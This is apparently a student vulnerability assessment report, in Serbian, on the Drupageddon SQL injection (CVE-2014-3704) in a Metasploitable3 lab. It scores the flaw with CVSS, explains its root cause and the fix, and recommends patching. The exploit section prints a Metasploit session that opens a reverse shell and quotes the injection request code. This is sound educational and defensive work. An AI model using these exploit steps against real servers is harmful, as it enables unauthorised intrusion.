

Vulnerability Assessment Report

Ime i prezime: Nemanja Dutina

Tim: 5

Datum: 26.10.2024.

Scan Tool: Nessus (10.8.3)

Test okruženje: Metasploitable3

1. Enumeracija CVE-a

- **CVE ID:** CVE-2014-3704

- **Opis:**

Unutar Drupal core modula, postoji API za rad sa bazom podataka. Unutar tog API, se nalazi funkcija `expandArguments`. Funkcija ne proverava podatke dobijene od korisnika pre konstrukcije pripremljenih upita, te je moguće izvršiti SQL injekciju. Unutar nje, koriste se nazivi i vrednosti korisničkih parametara, bez njihove prethodne provere. Na taj način, napadač može, promenom naziva parametara, izvršiti SQL injekciju koja može dovesti i do izvršavanja koda na serverskoj mašini. Ranjivost se može pronaći u Drupal verzijama 7.x pre 7.32. Poznata je i pod nazivom *Drupageddon*. Na skeniranoj mašini, na portu 80, postoji `http` servis koji koristi ranjivu verziju Drupala.

2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.5
- **Vektor:**

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AV:N - Attack Vector: Network (eksploatacija preko mreže)

AC:L - Attack Complexity: Low (napad se lako izvršava, postoje gotovi eksploiti)

PR:N - Privileges Required: None (korisnik ne mora imati posebne privilegije)

UI:N - User Interaction: None (nije potrebna direktna interakcija korisnika sa sistemom)

S:U - Scope: Unchanged (opseg ranjivosti se ne menja)

C:H - Confidentiality: High (napadač može pristupiti osetljivim informacijama)

I:H - Integrity: High (napadač može izmeniti podatke, čime je narušen njihov integritet)

A:H - Availability: High (ranjivost može uticati na dostupnost sistema)

- **Opravdanje:**

Ova ranjivost može dovesti do manipulacije osetljivih podataka, čime se narušava privatnost korisnika. Kako nije potrebna nepostedna interakcija korisnika sa sistemom, te već postojeći eksploiti koje je lako koristiti, čine ovu ranjivost veoma opasnom. Ta kombinacija, iskorišćavanja ranjivosti bez mnogo truda i tehničkog znanja, kao i potencijalnog izvršavanja koda na serverskoj mašini, što može dovesti i do iskorišćavanja reverse shell-a, daju ranjivosti visok CVSS skor.

3. Dostupnost eksploita

- **Postoji javno dostupan exploit (Da/Ne):** Da

- **Opis eksploita:**

U okviru metasploit radnog okvira postoji exploit pod nazivom **multi/http/drupal_drupageddon**. Ovaj exploit koristi drupalov keš u koji ubacuje zlonamerni kod, odakle se kasnije izvršava. Na slici je prikazana upotreba eksploita za dobijanje reverse shell-a. Kako bi se exploit iskoristio, potrebno je postaviti ip adresu žrtve, uri do servisa i koda koji se šalje pri exploitu. Za ovaj primer je iskorišćen kod za dobijanje reverse shell-a (*php/reverse_perl*). Kako bi se prikazala uspešnost eksploita, izvršena je komanda *whoami* nakon dobijanja reverse shell-a.

```
msf6 > use exploit/multi/http/drupal_drupageddon
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/drupal_drupageddon) > set rhost 172.28.128.3
rhost => 172.28.128.3
msf6 exploit(multi/http/drupal_drupageddon) > set targeturi /drupal/
targeturi => /drupal/
msf6 exploit(multi/http/drupal_drupageddon) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf6 exploit(multi/http/drupal_drupageddon) > set payload php/reverse_perl
payload => php/reverse_perl
msf6 exploit(multi/http/drupal_drupageddon) > exploit

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.3:48716) at 2024-10-27 02:27:44 +0200

whoami
www-data
```

- **Kod eksploita (ukoliko postoji):**

Exploit koristi user/login endpoint kako bi uneo zlonamerni kod u keš. On se nalazi unutar imena parametra i oblika je `name[0;#{sql}#]`, kao što je prikazano na slici ispod. Drupal omogućava keširanje stanja forme, kako bi korisnik kasnije na efikasniji način mogao raditi sa formom. Svaka forma ima id (na slici ispod *form_id* parametar), te kada se pošalje zahtev sa određenim id, Drupal proverava da li postoji keš pod tim id. Ovo omogućava da se najpre postavi keš forme, te kasnije post zahtevom sa istim id forme pokrene izvršavanje zlonamernog koda. Kompletan kod je moguće pronaći [ovde](#).

```

send_request_cgi!({
  'uri' => normalize_uri(target_uri.path),
  'method' => 'POST',
  'vars_post' => {
    # Don't use 'user_login_block' as it may be disabled.
    'form_id' => 'user_login',
    'form_build_id' => '',
    "name[0;#{sql}#]" => '',
    # This field must be located *after* the injection.
    "name[0]" => '',
    'op' => 'Log in',
    'pass' => Rex::Text.rand_text_alpha(8)
  },
  'vars_get' => {
    'q' => 'user/login'
  }
}, timeout= datastore['Wait'])

```

- !!Objasnite srž eksploita, dajte screenshot koda (samo glavni dio)

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

Ranjivost je uvedena u [commit-u](#) 24.12.2008. U okviru ovog commit-a je kreirana *expandArguments* funkcija, koja sadrži ranjiv kod. Commit je bio deo razvoja drupal verzije 7, a nalazi se unutar *Drupal 7.x-dev*.

- **Primer Koda (ako je primenljivo):**

`foreach ($data as $i => $value)` predstavlja liniju koda koja je ranjiva. Podaci dobijeni od korisnika se koriste bez provere, te ključevi unutar *\$data* mogu biti bilo šta. Kasnije je, prilikom [commit-a](#) skoro četiri godine kasnije - 15.10.2014, ova ranjivost rešena upotrebom `foreach (array_values($data) as $i => $value)` linije koda. Na ovaj način je onemogućeno napadačima da iskoriste naziv parametra za injekciju.

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da
- **Mitigation Strategy:**
Patch je moguće napraviti koristeći *drush* alat uz jednostavnu komandu:

```
drush pm-update drupal
```

Napomena: Komandu je potrebno izvršiti unutar korenskog direktorijuma u kom se nalazi drupal